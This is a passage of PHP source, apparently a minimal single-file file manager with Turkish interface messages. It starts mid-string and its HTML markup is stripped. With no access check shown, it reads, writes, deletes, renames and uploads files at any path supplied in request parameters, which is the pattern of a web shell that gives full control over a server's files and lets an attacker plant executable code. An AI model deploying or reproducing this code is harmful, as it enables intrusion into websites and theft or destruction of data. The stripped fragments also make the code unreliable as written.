';
if (isset($_GET['view']) && is_file($_GET['view'])) {
header("Content-type: text/plain");
readfile($_GET['view']);
exit;
}
if (isset($_POST['save_file']) && isset($_POST['content'])) {
file_put_contents($_POST['save_file'], $_POST['content']);
echo "
Dosya kaydedildi.";
}
if (isset($_POST['delete_file']) && is_file($_POST['delete_file'])) {
unlink($_POST['delete_file']);
echo "
Dosya silindi: " . basename($_POST['delete_file']) . "
";
}
if (isset($_POST['rename_file']) && isset($_POST['new_name']) && is_file($_POST['rename_file'])) {
$oldPath = $_POST['rename_file'];
$newPath = dirname($oldPath) . '/' . basename($_POST['new_name']);
if (rename($oldPath, $newPath)) {
echo "
Dosya adı değiştirildi: " . basename($oldPath) . " → " . basename($newPath) . "
";
} else {
echo "
Yeniden adlandırma hatası!";
}
}
if (isset($_FILES['upload_file'])) {
$target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
echo "
Dosya yüklendi: " . basename($target) . "
";
} else {
echo "
Yükleme hatası!";
}
}
echo "
Current root: $root
";
echo "
Current path: $path
";
echo '
⬆️ Üst Dizin';
foreach (glob(rtrim($path,'/').'/*') as $file) {
echo '
";
}
echo "
";
if (isset($_GET['rename']) && is_file($_GET['rename'])) {
$renameFile = $_GET['rename'];
echo "
Yeniden Adlandır: ".basename($renameFile)."
";
echo '
';
}
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$editFile = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($editFile));
echo "
Dosya Düzenle: ".basename($editFile)."
";
echo '
';
}
echo '
Dosya Yükle
';
// -------- HTML BİTİŞ --------
echo '